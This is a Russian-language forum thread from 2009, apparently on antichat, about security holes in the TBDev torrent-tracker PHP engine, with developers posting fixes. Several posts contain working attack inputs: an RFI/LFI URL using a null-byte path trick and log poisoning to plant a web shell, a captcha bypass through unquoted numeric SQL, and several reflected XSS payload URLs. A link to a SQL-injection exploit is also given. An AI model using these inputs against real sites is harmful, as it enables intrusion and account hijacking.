Multi mode - атака по всем файлам, в том числе авторигистрация.
Qwazar exploit mode - работает как вторая версия эксплоита от Qwazar (http://forum.antichat.ru/member.php?userid=17119)
В связи с тем что форум не захотел отобразить не маленький сплоит. Пришлось его загрузить на отдельный сервер. Взять его можете здесь (http://audi100aar.narod.ru/tbdev2sql.html)
Если по каким то причинам данный скрипт у вас не запускается, виноваты вы. Он рабочий, проверялся на оригинальном TBDev 2.0.
Внимание: Данная программа выложена здесь для ознакомления.
Автор не несёт ответственности за негативные последствия, причинённые данной программой в результате правильного или неправильного её использования.
Также автор не несет ответственности за причерченный вред кому либо данной программой.
HAXTA4OK
05.08.2009, 23:15
как еще можно залить шелл??кроме блоков
Новый сплоит от меня. Базируеться на сплоите от Qwazar.
Спасибо за сплоит, пару багов закрыл ;)
как еще можно залить шелл??кроме блоков
Если лишних модов не ставились, и баги в rss.php и прочие закрыты - никак.
HAXTA4OK
07.08.2009, 18:51
Спасибо за сплоит, пару багов закрыл ;)
Если лишних модов не ставились, и баги в rss.php и прочие закрыты - никак.
зарегай меня там...а то скока мылов у тебя блочены =) а новые версии интересны =)
Если лишних модов не ставились, и баги в rss.php и прочие закрыты - никак. Можно, если есть доступ в админку. По крайней мере в той версии, что сейчас доступна для скачивания и во всех предыдущих. Палю превад (From ROA with love):
RFI/LFI:
В каталоге 'admin' вообще лежит файлик (core.php) следующего содержания: $op = (!isset($_REQUEST['op'])) ? "Main" : $_REQUEST['op'];
foreach ($_GET as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
$GLOBALS[$key] = $value;
require_once($rootpath . 'admin/functions.php'); Этот файл инклудится в admin.php . Который в свою очередь инклудится в admincp.php. (Файлы из /admin/ закрыты при помощи .htaccess)
т.е. : http://test/tbdev/admincp.php?rootpath=[RFI/LFI]
Если ты про Remote Code inclusion - работаьтьб бдует только если register_globals = On
а про доступ к админке -не думаю что там уже нужно что-то больше ;)
Jokester
07.08.2009, 23:10
Yuna
LFI порой бывает вполне достаточно. Вариантов масса.
LFI? расшифруй
Local file inclusion?
в данном случае он тоже не пройдет, кстаи такая фишка и в announce.php Тоже ;)
LFI? расшифруй Local File Inclusion, вкрадце, мы в логи фигачим PHP код, а потом эти лог файлы инклудим. (как один из вариантов, есть ещё)
В общем, обычно этого достаточно чтобы на сервере получить полноценный веб-шелл.
З.Ы.
На последней версии доступной для скачивания, проходит на 100%.
На последней версии доступной для скачивания, проходит на 100%.
повторяю - если register_globals = On
повторяю - если register_globals = On Неа, при Off
http://test2.ru/admincp.php?rootpath=../2.php%00
Это при
php_flag register_globals Off
php_flag magic_quotes_gpc Off
Нормально запускает 2.php
при magic_quotes_gpc On также есть вариант отрезать всё что после нашего имени файла (в соседних темах метод описан).
Неа, при Off
http://test2.ru/admincp.php?rootpath=../2.php%00
Это при
php_flag register_globals Off
php_flag magic_quotes_gpc Off
ммм, да, вижу в чем прикол =)) забавно
у аннонсера просто прикол тоже с rootpath + globals + разрешить fopen + url =))
ммм, да, вижу в чем прикол =)) забавно
у аннонсера просто прикол тоже с rootpath + globals + разрешить fopen + url =)) Угу, при глобалс он права админа не нужны :)
можно сделать попроще - доступ к admincp.php - там тоже проверку если ты админ - проблему решает, не на 100%, но решает.
можно сделать попроще - доступ к admincp.php - там тоже проверку если ты админ - проблему решает, не на 100%, но решает. Нельзя решать проблему не на 100%, к тому же мой метод пашет только для админа и так. Лучше заменить $rootpath на чтото типа dirname(__FILE__), или путь к корню дефайном куда нибудь засунуть, в общем избавиться от переменной.
P.S.
А вообще надо думать нафига вот такой кусок кода вообще нужен, т.к.он заведомо будет являться причиной уязвимостей, даже если конкретно эту пофиксить. (Там при добавлении каких нибудь модулей к примеру, ну или может где нибудь ещё какая переменная в админке инклудится, а не только $rootpath)
в общем избавиться от переменной.
убрал вообще, но да - это таки серьезная бага... надо было самому код это писать, а не со слаеда тянуть :D
Фикса не будет? :confused:
Фикса не будет? :confused: Дык сам прикинь как бы пофиксил и пофиксь. Как примерно надо фиксить я описал выше. (в качестве hotfix'а сойдёт)
а вот про авто-регу с капчей я че-то не понял твоего кода...
imagestring = 0...
i do beleive, this is the fix for admin/core.php
/*foreach ($_GET as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_POST as $key => $value)
$GLOBALS[$key] = $value;
foreach ($_COOKIE as $key => $value)
$GLOBALS[$key] = $value;*/
extract($_GET, EXTR_SKIP);
extract($_POST, EXTR_SKIP);
я ниче не пропустил? :)
Да вроде бы ничего, ну разве что может какие модули завязаные на старый код попадают :)
а про авто-регу?
а этот код он как делает: то-же самое что и старый, только если переменная уже есть - оно ее не тронет
Про авторегу не ко мне, я не вникал.
З.Ы.
А попадать могут те, которые на COOKIE завязаны, или переписывают переменные.
на куки - то ваще надо быть психом =)))
а вообще - надо с нцуля движок сделать :D
HAXTA4OK
08.08.2009, 21:13
XSS вроде не было такой =)
http://10.235.11.163/treker/makepoll.php?action=edit&pollid=2&returnto=%20%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
немного хитрая дырка- надо знать id опроса, а он кажеться в блоке опроса не светиться
Rostov114
09.08.2009, 05:12
а вот про авто-регу с капчей я че-то не понял твоего кода...
imagestring = 0...
$b = get_row_count("captcha", "WHERE imagehash = ".sqlesc($_POST["imagehash"])." AND imagestring = ".sqlesc($_POST["imagestring"]));
Проблема в том что sqlesc() экранирует только параметры отличные от numeric. И получаеться что мы просовываем SQL запрос вида:
SELECT * FROM captcha WHERE imagehash = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' AND imagestring = 0
И MySQL цепляет запись из таблицы с imagehash равным 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' а т.к. там у нас 0 без '' MySQL по моему вообще не смотрит данное значение и возвращает результат в итоге $b у нас равна 1, что дает нам спокойно зарегестрироваться
P.S. SQL запрос конечно не такой но лень было лезть и смотреть функцию get_row_count(), а так я забыл че в ней содержиться. xD
Окей, тогда пофикшу принудительной кавычкацией.
sqlesc($something, true);
function sqlesc($value, $force = false) {
// Stripslashes
/*if (get_magic_quotes_gpc()) {
$value = stripslashes($value);
}*/
// Quote if not a number or a numeric string
if (!is_numeric($value) || $force) {
$value = "'" . mysql_real_escape_string($value) . "'";
}
return $value;
}
И MySQL цепляет запись из таблицы с imagehash равным 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' а т.к. там у нас 0 без '' MySQL по моему вообще не смотрит данное значение и возвращает результат в итоге $b у нас равна 1, что дает нам спокойно зарегестрироваться
ваще какой-то бред сказанул...
Rostov114
09.08.2009, 14:55
ваще какой-то бред сказанул...
:p Что ты хочеш от сонного человека....
Ну смотри - если imagehash = 32-а 0-ка то это выйдет 0 и imagestring = 0
что выйдет SELECT COUNT(*) FROM captcha WHERE imagehash = 0 AND imagestring = 0; что ваще-то должно тоже вернуть 0 и $b должно тоже быть 0!
HAXTA4OK
09.08.2009, 21:28
XSS
http://localhost/treker/testport.php?port=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
if ($_SERVER["REQUEST_METHOD"] == "POST")
$port = $_POST["port"];
else
$port = $_GET['port'];
.................................................. ..............
<font color=darkgreen><br><center><b>IP: $ip is on the Port: $port good !</b></center><br></font>
можно просто ввести скрипт в поле =) ибо и $port = $_POST["port"]; через POST посылается
скажите есть ли какие нибудь уязвимости в message.php?
XSS
http://localhost/treker/testport.php?port=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
if ($_SERVER["REQUEST_METHOD"] == "POST")
$port = $_POST["port"];
else
$port = $_GET['port'];
.................................................. ..............
<font color=darkgreen><br><center><b>IP: $ip is on the Port: $port good !</b></center><br></font>
можно просто ввести скрипт в поле =) ибо и $port = $_POST["port"]; через POST посылается
$port = $_POST["port"];
else
$port = $_GET['port'];
Заменяем на:
$port = (int)$_POST["port"];
else
$port = (int)$_GET['port'];
как оптимизировать етот запрос?
17] => 7.104873 [SELECT COUNT(*) FROM torrents]
XSS вроде не было такой =)
http://10.235.11.163/treker/makepoll.php?action=edit&pollid=2&returnto=%20%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
<input type=hidden name=returnto value=<?=$_GET["returnto"]?>>
Заменяем на:
<input type=hidden name=returnto value=<?=(int)$_GET["returnto"]?>>
Подсказал HAXTA4OK :)
Эмм, а вам не кажется что в этом поле значением является не цифра, и такой фикс не катит?
Эмм, а вам не кажется что в этом поле значением является не цифра, и такой фикс не катит?
Ну я протестил и XSS небыло :rolleyes:
HAXTA4OK
12.08.2009, 18:53
что предложиш? я просто в пхп не силен на столько :) да вроде поставив int он вроде как все равно работает :)
XSS то не проходит, но логику приложения вы нарушили, к примеру вот этот код никогда не выполнится, из-за вашего "фикса": if ($returnto == "main")
header("Location: $DEFAULTBASEURL");
Фиксить, когда значение является строкой, можно к примеру, так:
<input type=hidden name=returnto value="<?=htmlspecialchars($_GET["returnto"])?>">
HAXTA4OK
12.08.2009, 19:08
тока что хотел предложить htmlentities поставить :)
strip_tags()
htmlspecialchars()
stripslashes()
mysql_real_escape_string
еще же эти можно да?
strip_tags() - однозначно нет.
htmlspecialchars - да.
stripslashes(), mysql_real_escape_string - вообе из другой оперы.
HAXTA4OK
12.08.2009, 19:29
ясно :)
mailbrush
12.08.2009, 19:50
strip_tags удаляет теги, у нее есть баги.
htmlspecialchars преобразует специальные символы в HTML сущности - тру защита от XSS.
stripslashes удаляет экранирование символов, произведенное функцией addslashes() - вообще не в тему.
mysql_real_escape_string() экранирует специальные символы в строке, используемой в SQL-запросе. Тру защита от инъ, но не XSS.
Фикс файла usersearch.php :)
Найти:
<td valign="middle" class=rowhead>Имя:</td>
<td<?=$_GET['n']?$highlight:""?>><input name="n" type="text" value="<?=$_GET['n']?>" size=35></td>
Заменить на:
<td valign="middle" class=rowhead>Имя:</td>
<td<?=$_GET['n']?$highlight:""?>><input name="n" type="text" value="<?=htmlspecialchars($_GET['n'])?>" size=35></td>
Найти:
$options = array("равен","выше","ниже","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['rt']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменяем на:
$options = array("равен","выше","ниже","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['rt']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
<input name="r" type="text" value="<?=$_GET['r']?>" size="5" maxlength="4">
<input name="r2" type="text" value="<?=$_GET['r2']?>" size="5" maxlength="4"></td>
Заменить на:
<input name="r" type="text" value="<?=htmlspecialchars($_GET['r'])?>" size="5" maxlength="4">
<input name="r2" type="text" value="<?=htmlspecialchars($_GET['r2'])?>" size="5" maxlength="4"></td>
Найти:
$options = array("(Любой)","Подтвержден","Не подтвержден");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['st']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
$options = array("(Любой)","Подтвержден","Не подтвержден");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['st']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
<tr><td valign="middle" class=rowhead>Email:</td>
<td<?=$_GET['em']?$highlight:""?>><input name="em" type="text" value="<?=$_GET['em']?>" size="35"></td>
<td valign="middle" class=rowhead>IP:</td>
<td<?=$_GET['ip']?$highlight:""?>><input name="ip" type="text" value="<?=$_GET['ip']?>" maxlength="17"></td>
Заменить на:
<tr><td valign="middle" class=rowhead>Email:</td>
<td<?=$_GET['em']?$highlight:""?>><input name="em" type="text" value="<?=htmlspecialchars($_GET['em'])?>" size="35"></td>
<td valign="middle" class=rowhead>IP:</td>
<td<?=$_GET['ip']?$highlight:""?>><input name="ip" type="text" value="<?=htmlspecialchars($_GET['ip'])?>" maxlength="17"></td>
Найти:
$options = array("(Любой)","Нет","Да");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['as']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
$options = array("(Любой)","Нет","Да");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['as']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
<td valign="middle" class=rowhead>Комментарий:</td>
<td<?=$_GET['co']?$highlight:""?>><input name="co" type="text" value="<?=$_GET['co']?>" size="35"></td>
<td valign="middle" class=rowhead>Маска:</td>
<td<?=$_GET['ma']?$highlight:""?>><input name="ma" type="text" value="<?=$_GET['ma']?>" maxlength="17"></td>
<td valign="middle" class=rowhead>Класс:</td>
<td<?=($_GET['c'] && $_GET['c'] != 1)?$highlight:""?>><select name="c"><option value='1'>(Любой)</option>
Заменить на:
<td valign="middle" class=rowhead>Комментарий:</td>
<td<?=$_GET['co']?$highlight:""?>><input name="co" type="text" value="<?=htmlspecialchars($_GET['co'])?>" size="35"></td>
<td valign="middle" class=rowhead>Маска:</td>
<td<?=$_GET['ma']?$highlight:""?>><input name="ma" type="text" value="<?=htmlspecialchars($_GET['ma'])?>" maxlength="17"></td>
<td valign="middle" class=rowhead>Класс:</td>
<td<?=((int)$_GET['c'] && (int)$_GET['c'] != 1)?$highlight:""?>><select name="c"><option value='1'>(Любой)</option>
Найти:
$class = $_GET['c'];
if (!is_valid_id($class))
$class = '';
Заменить на:
if (!is_valid_id($_GET['c']))
$class = '';
$class = (int) $_GET['c'];
Найти:
<td valign="middle" class=rowhead>Регистрация:</td>
<td<?=$_GET['d']?$highlight:""?>><select name="dt">
<?
$options = array("в","раньше","после","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['dt']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class=rowhead>Регистрация:</td>
<td<?=$_GET['d']?$highlight:""?>><select name="dt">
<?
$options = array("в","раньше","после","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['dt']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
<input name="d" type="text" value="<?=$_GET['d']?>" size="12" maxlength="10">
<input name="d2" type="text" value="<?=$_GET['d2']?>" size="12" maxlength="10"></td>
Заменить на:
<input name="d" type="text" value="<?=htmlspecialchars($_GET['d'])?>" size="12" maxlength="10">
<input name="d2" type="text" value="<?=htmlspecialchars($_GET['d2'])?>" size="12" maxlength="10"></td>
Найти:
<td valign="middle" class=rowhead>Раздал:</td>
<td<?=$_GET['ul']?$highlight:""?>><select name="ult" id="ult">
<?
$options = array("ровно","больше","меньше","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['ult']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class=rowhead>Раздал:</td>
<td<?=$_GET['ul']?$highlight:""?>><select name="ult" id="ult">
<?
$options = array("ровно","больше","меньше","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['ult']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
<input name="ul" type="text" id="ul" size="8" maxlength="7" value="<?=$_GET['ul']?>">
<input name="ul2" type="text" id="ul2" size="8" maxlength="7" value="<?=$_GET['ul2']?>"></td>
Заменить на:
<input name="ul" type="text" id="ul" size="8" maxlength="7" value="<?=htmlspecialchars($_GET['ul'])?>">
<input name="ul2" type="text" id="ul2" size="8" maxlength="7" value="<?=htmlspecialchars($_GET['ul2'])?>"></td>
Найти:
<td valign="middle" class="rowhead">Донор:</td>
<td<?=$_GET['do']?$highlight:""?>><select name="do">
<?
$options = array("(Любой)","Да","Нет");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['do']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class="rowhead">Донор:</td>
<td<?=$_GET['do']?$highlight:""?>><select name="do">
<?
$options = array("(Любой)","Да","Нет");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['do']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
<td valign="middle" class=rowhead>Последняя активность:</td>
<td <?=$_GET['ls']?$highlight:""?>><select name="lst">
<?
$options = array("в","раньше","после","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['lst']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class=rowhead>Последняя активность:</td>
<td <?=$_GET['ls']?$highlight:""?>><select name="lst">
<?
$options = array("в","раньше","после","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['lst']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
<input name="ls" type="text" value="<?=$_GET['ls']?>" size="12" maxlength="10">
<input name="ls2" type="text" value="<?=$_GET['ls2']?>" size="12" maxlength="10"></td>
Заменить на:
<input name="ls" type="text" value="<?=htmlspecialchars($_GET['ls'])?>" size="12" maxlength="10">
<input name="ls2" type="text" value="<?=htmlspecialchars($_GET['ls2'])?>" size="12" maxlength="10"></td>
Найти:
<td valign="middle" class=rowhead>Скачал:</td>
<td<?=$_GET['dl']?$highlight:""?>><select name="dlt" id="dlt">
<?
$options = array("ровно","больше","меньше","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['dlt']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class=rowhead>Скачал:</td>
<td<?=$_GET['dl']?$highlight:""?>><select name="dlt" id="dlt">
<?
$options = array("ровно","больше","меньше","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['dlt']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
<input name="dl" type="text" id="dl" size="8" maxlength="7" value="<?=$_GET['dl']?>">
<input name="dl2" type="text" id="dl2" size="8" maxlength="7" value="<?=$_GET['dl2']?>"></td>
Заменить на:
<input name="dl" type="text" id="dl" size="8" maxlength="7" value="<?=htmlspecialchars($_GET['dl'])?>">
<input name="dl2" type="text" id="dl2" size="8" maxlength="7" value="<?=htmlspecialchars($_GET['dl2'])?>"></td>
Найти:
<td valign="middle" class=rowhead>Предупрежден:</td>
<td<?=$_GET['w']?$highlight:""?>><select name="w">
<?
$options = array("(Любой)","Да","Нет");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['w']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменить на:
<td valign="middle" class=rowhead>Предупрежден:</td>
<td<?=$_GET['w']?$highlight:""?>><select name="w">
<?
$options = array("(Любой)","Да","Нет");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['w']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Найти:
// name
$names = explode(' ',trim($_GET['n']));
Заменить на:
// name
$names = explode(' ',trim(htmlspecialchars($_GET['n'])));
Найти:
$q .= ($q ? "&" : "") . "n=".urlencode(trim($_GET['n']));
Заменить на:
$q .= ($q ? "&" : "") . "n=".urlencode(trim(htmlspecialchars($_GET['n'])));
Найти:
// email
$emaila = explode(' ', trim($_GET['em']));
Заменить на:
// email
$emaila = explode(' ', trim(htmlspecialchars($_GET['em'])));
Найти:
$q .= ($q ? "&" : "") . "em=".urlencode(trim($_GET['em']));
Заменить на:
$q .= ($q ? "&" : "") . "em=".urlencode(trim(htmlspecialchars($_GET['em'])));
Найти:
//class
// NB: the c parameter is passed as two units above the real one
$class = $_GET['c'] - 2;
Заменить на:
//class
// NB: the c parameter is passed as two units above the real one
$class = (int) $_GET['c'] - 2;
Найти:
// IP
$ip = trim($_GET['ip']);
Заменить на:
// IP
$ip = trim(htmlspecialchars($_GET['ip']));
Найти:
// ratio
$ratio = trim($_GET['r']);
Заменить на:
// ratio
$ratio = trim(htmlspecialchars($_GET['r']));
Найти:
$where_is .= isset($where_is)?" AND ":"";
$where_is .= " (u.uploaded/u.downloaded)";
$ratiotype = $_GET['rt'];
Заменить на:
$where_is .= isset($where_is)?" AND ":"";
$where_is .= " (u.uploaded/u.downloaded)";
$ratiotype = (int) $_GET['rt'];
Найти:
$ratio2 = trim($_GET['r2']);
if(!$ratio2)
Заменить на:
$ratio2 = trim(htmlspecialchars($_GET['r2']));
if(!$ratio2)
Найти:
// comment
$comments = explode(' ',trim($_GET['co']));
Заменить на:
// comment
$comments = explode(' ',trim(htmlspecialchars($_GET['co'])));
Найти:
// uploaded
$ul = trim($_GET['ul']);
Заменить на:
// uploaded
$ul = trim((int)$_GET['ul']);
Найти:
$where_is .= isset($where_is)?" AND ":"";
$where_is .= " u.uploaded ";
$ultype = $_GET['ult'];
Заменить на:
$where_is .= isset($where_is)?" AND ":"";
$where_is .= " u.uploaded ";
$ultype = (int)$_GET['ult'];
Найти:
$ul2 = trim($_GET['ul2']);
if(!$ul2)
Заменить на:
$ul2 = trim((int)$_GET['ul2']);
if(!$ul2)
Найти:
// downloaded
$dl = trim($_GET['dl']);
Заменить на:
// downloaded
$dl = trim((int)$_GET['dl']);
Найти:
$dltype = $_GET['dlt'];
$q .= ($q ? "&" : "") . "dlt=$dltype";
if ($dltype == "3")
{
$dl2 = trim($_GET['dl2']);
if(!$dl2)
Заменить на:
$dltype = (int)$_GET['dlt'];
$q .= ($q ? "&" : "") . "dlt=$dltype";
if ($dltype == "3")
{
$dl2 = trim((int)$_GET['dl2']);
if(!$dl2)
Найти:
$datetype = $_GET['dt'];
$q .= ($q ? "&" : "") . "dt=$datetype";
if ($datetype == "0")
Заменить на:
$datetype = (int)$_GET['dt'];
$q .= ($q ? "&" : "") . "dt=$datetype";
if ($datetype == "0")
Найти:
$q .= ($q ? "&" : "") . "ls=$last";
$lasttype = $_GET['lst'];
Заменить на:
$q .= ($q ? "&" : "") . "ls=$last";
$lasttype = (int)$_GET['lst'];
Найти:
// status
$status = $_GET['st'];
Заменить на:
// status
$status = (int)$_GET['st'];
Найти:
// account status
$accountstatus = $_GET['as'];
Заменить на:
// account status
$accountstatus = (int)$_GET['as'];
Найти:
//donor
$donor = $_GET['do'];
Заменить на:
//donor
$donor = (int)$_GET['do'];
Найти:
//warned
$warned = $_GET['w'];
Заменить на:
//warned
$warned = (int)$_GET['w'];
Найти:
// disabled IP
$disabled = $_GET['dip'];
Заменить на:
// disabled IP
$disabled = htmlspecialchars($_GET['dip']);
Найти:
// active
$active = $_GET['ac'];
Заменить на:
// active
$active = (int)$_GET['ac'];
PS: Выдрано из сборки Kinokpk.
И ещё баг в usersearch.php, данные о количестве постов в комментариях съезжают влево, не вставая в ячейки таблицы!
Найти:
"|".($n_comments?"<a href=userhistory.php?action=viewcomments&id=".$user['id'].">$n_comments</a>":$n_comments).
Заменить на:
"<td><div align=center>".($n_comments?"<a href=userhistory.php?action=viewcomments&id=".$user['id'].">$n_comments</a>":$n_comments).
тут ты ошибаешься:
Вот это: //class
// NB: the c parameter is passed as two units above the real one
$class = $_GET['c'] - 2; не надо менять на вот это://class
// NB: the c parameter is passed as two units above the real one
$class = (int) $_GET['c'] - 2;Т.к. математические операции предотвращают XSS. Т.е. $a = 0 + $_GET['a'] - всегда будет числом.
З.Ы.
Ну это то что бросается в глаза. Уверен в твоих фиксах есть ещё избыточные и не совсем логичные.
К примеру ты много где делаешь trim от числа, как тут:
$dl2 = trim((int)$_GET['dl2']); Зачем? Тут либо ты ошибся, и разработчик ожидает в этом поле не число, то ли у разработчика руки кривые, но тогда trim можно вообще не переносить в фикс, т.к. (int) переведёт строку в число, даже если перед цифрами стоят пробелы.
З.Ы.Ы.
Вот если бы ты к каждому твоему фиксу показал пример использования XSS, то было бы понятно, что к чему ;)
А не проще-ли usersearch.php выкинуть наф? :)
+ привязать юзерские сессии к ипам т.е ип и некая хрень известная только нам и будет солью для КУКИСОВ т.е фактически мы нифелируем почти весь эффект + ну да и заблочить внешние post что-б через xss не сделали iframe что шлет post на takeprofedit.php с изменением мыла (пароль нельзя сменить не зная старого)
Yuna, ты же разработчик ты и решай :) Я бы на твоём месте usersearch.php пофиксил, тем более, там не так уж и много фиксить. А привязать сессии к IP - мысль имхо здравая.
Я бы на твоём месте usersearch.php пофиксил, тем более, там не так уж и много фиксить.
Мне ТАК впаааадло =)) А сесссию привязку в движок встрою, вот в ТП это сразу встроено =)))
Qwazar
Подскажите пожалуйста если не трудно как лучше сделать ...
Мне кажется юна ищет лёгкий путь чтобы отделаться от usersearch.php :D
http://depositfiles.com/files/26el339v3 фиксед usersearch
HAXTA4OK
13.08.2009, 23:03
что то тема чуть тухнет без багов :)продолжим
version : 2008 © TBDev RU v [3.0]
[/color=green]XSS[/color]
browse.php?search=&cat=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
news.php?action=edit&newsid=13&returnto=%3E%3Cscript%3Ealert(/Hi/)%3C/script%3E
Фикс файла usersearch.php :)
Найти:
<td valign="middle" class=rowhead>Имя:</td>
<td<?=$_GET['n']?$highlight:""?>><input name="n" type="text" value="<?=$_GET['n']?>" size=35></td>
Заменить на:
<td valign="middle" class=rowhead>Имя:</td>
<td<?=$_GET['n']?$highlight:""?>><input name="n" type="text" value="<?=htmlspecialchars($_GET['n'])?>" size=35></td>
Найти:
$options = array("равен","выше","ниже","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(($_GET['rt']=="$i")?"selected":"").">".$options[$i]."</option>\n";
Заменяем на:
$options = array("равен","выше","ниже","между");
for ($i = 0; $i < count($options); $i++){
echo "<option value=$i ".(((int)$_GET['rt']=="$i")?"selected":"").">".$options[$i]."</option>\n";
.... И ЕЩЕ КУЧА ЛЕВОЙ ЕРУНДЫ ....
думаю так счастье прийдет и на твой трекер :)
как и пришло на мой :p
вставь где-нибудь в "начале".
foreach($_GET as $k=>$v)
{
$_GET[$k]=htmlspecialchars($v);
}
зы: конечно не идеальный вариант, но не "геморный", и достаточный для пользования на треке...
Ага, и все параметры-массиву прийдут жопой, ты попробуй попробуй например чек-боксы где-то проставить, скажем админка-блоки ;)
Лучше киньте ссылкой на решение array_walk_recursive только что-б еще массивы обрабатывало, а-то циклами гонять не хочу чго-то!
Ага, и все параметры-массиву прийдут жопой;)!
Ага, если быть уникалом и писать в текстбоксы спец символы, то немудрено что будет, я и писал что вариант не лучший, но быстрый.
ты попробуй попробуй например чек-боксы где-то проставить, скажем админка-блоки ;)!
из usersearch:
<input name="ac" value="1" type="checkbox">
попробуй сам если не понятен смысл своих строк, или не своих а спертых откудато! :)
при установке передается цифра, или ее отсутствие в месте с параметром.
зы: кто говорит об админка-блоках ? если нечего по теме сказать, то лучше помолчи или иди флуди на своем форуме.
Ага, если быть уникалом и писать в текстбоксы спец символы, то немудрено что будет, я и писал что вариант не лучший, но быстрый. Твой метод не катит (В общем случае). Данные на входе портить нельзя, нужно следить за тем что и куда ты выводишь.
Твой метод не катит (В общем случае). Данные на входе портить нельзя, нужно следить за тем что и куда ты выводишь.
где ты данные видел учетки или ящика или еще чего-то со спец символами? они все в основном идут в латинице и цифры, поэтому метод катит на 95%
где ты данные видел учетки или ящика или еще чего-то со спец символами? они все в основном идут в латинице и цифры, поэтому метод катит на 95% Угу, в данном конкретно файле, этот вариант сработает, но неизвестно что там будет в будущем, т.е. как вариант добавят поле в котором забудут поставить "" и т.п. А предложенный тобой вариант создаст иллюзию безопасности.
З.Ы.
В качестве хотфикса конечно покатит, но разработчику я бы посоветовал разобраться с каждым передаваемым параметром основательно.
Угу, в данном конкретно файле, этот вариант сработает, но неизвестно что там будет в будущем, т.е. как вариант добавят поле в котором забудут поставить "" и т.п. А предложенный тобой вариант создаст иллюзию безопасности.
З.Ы.
В качестве хотфикса конечно покатит, но разработчику я бы посоветовал разобраться с каждым передаваемым параметром основательно.
Во 1х: каждый символ " заменится на мнемонику хтмл "e;, поэтому дублировать его нет нужды, при выводе XSS не будет.
Во 2х: я говорил и повторюсь работать не будет только с подобным спец. символами, т.к. при запросах к бд, в бд будет " а слаться на выборку будет "e; естественно совпадений не будет, на это я и оставил 5% не удобности данного метода.
ЗЫ: уже 1.5 года в эксплуатации данный метод, хоть бы кто-то пожаловался что их не устраивает.
ЗЫЫ: юна учи хтмл и пхп, чтоб не делать таких ошибок в скриптах, а лучше пиши свои и не юзай чужие.
ЗЫ: уже 1.5 года в эксплуатации данный метод, хоть бы кто-то пожаловался что их не устраивает. Пример кода, на котором такой метод не сработает:<?php
foreach($_GET as $k=>$v)
{
$_GET[$k]=htmlspecialchars($v);
}
echo "<table name=".$_GET['a']."><tr><td>test</td></tr></table>";
?>Пример использования: http://localhost/1.php.zzz?a=1%20onMouseOver=alert(/aaa/)
Пример кода, на котором такой метод не сработает:<?php
foreach($_GET as $k=>$v)
{
$_GET[$k]=htmlspecialchars($v);
}
echo "<table name=".$_GET['a']."><tr><td>test</td></tr></table>";
?>Пример использования: http://localhost/1.php.zzz?a=1%20onMouseOver=alert(/aaa/)
насколько я помню речь шла не о каком-то коде взятом из головы, а именно из usersearch.php, а там все в ""
пример:
value="<?=$_GET['ip']?>"
поэтому будет не так :
<table name=1 onMouseOver=alert(/aaa/)><tr><td>test</td></tr></table>
а так:
<table name="1 onMouseOver=alert(/aaa/)"><tr><td>test</td></tr></table>
и я не соглашусь с тобой, что этот код вреден.
Kpeamop, я и написал что как хот-фикс он подойдёт, для конкретно этого файла. Но если в нём что нибудь поменяют, этот код может перестать защищать. И само собой, в общем случае, на такой код полагаться нельзя.
З.Ы.
К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.
И само собой, в общем случае, на такой код полагаться нельзя.
З.Ы.
К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.
без кавычек - не спорю, а так вполне достаточно надежный.
без кавычек - не спорю
+
К слову, в TBDev мест где в тегах не используются кавычки - *опой жуй.
->
не эффективно
